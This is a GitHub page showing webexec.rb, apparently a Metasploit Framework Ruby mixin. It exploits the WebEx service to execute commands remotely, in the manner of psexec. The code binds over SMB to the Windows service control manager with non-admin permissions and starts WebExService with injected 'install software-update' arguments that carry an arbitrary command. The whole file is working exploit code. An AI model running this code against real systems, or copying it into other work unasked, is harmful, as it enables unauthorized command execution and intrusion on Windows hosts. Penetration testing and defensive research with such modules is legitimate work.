-
Notifications
You must be signed in to change notification settings - Fork 3
/
webexec.rb
110 lines (93 loc) · 3.55 KB
/
webexec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl'
require 'windows_error'
require 'windows_error/win32'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/wbemexec'
include WindowsError::Win32
module Msf
####
# Makes use of a WebEx service vulnerability that works similarly to psexec.
#
# This code was stolen straight out of the psexec module which was stolen from
# the standalone Psexec tool. Thanks very much for all who contributed to that
# module!! Instead of uploading and running a binary.
####
module Exploit::Remote::SMB::Client::WebExec
include Msf::Exploit::Windows_Constants
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Failure
def initialize(info = {})
super
register_options(
[
OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']),
], self.class)
register_advanced_options(
[
], self.class)
end
def execute_single_command(command, opts)
command = command.split(/ /)
svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command])
case svc_status
when ERROR_SUCCESS
# This happens a lot, so don't print it
# print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("Service start timed out")
else
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
end
end
# Executes a single windows command.
#
# If you want to retrieve the output of your command you'll have to
# echo it to a .txt file and then use the {#smb_read_file} method to
# retrieve it. Make sure to remove the files manually or use
# {Exploit::FileDropper#register_files_for_cleanup} to have the
# {Exploit::FileDropper#cleanup} and
# {Exploit::FileDropper#on_new_session} handlers do it for you.
#
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @return [Boolean] Whether everything went well
def wexec(disconnect=true)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
vprint_status("Obtaining a service manager handle...")
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
# This is the only permission non-admin gets on Windows 7 (and likely others)
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001)
if scm_status == ERROR_ACCESS_DENIED
print_error("ERROR_ACCESS_DENIED opening the Service Manager")
end
return false unless scm_handle
# These are the best permissions I could use for a non-admin account on Windows 7
svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010)
if svc_handle.nil?
print_error("No service handle retrieved")
return false
end
vprint_status("Starting the service...")
begin
yield({ :svc_client => svc_client, :svc_handle => svc_handle })
ensure
vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
if disconnect
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
end
true
end
end
end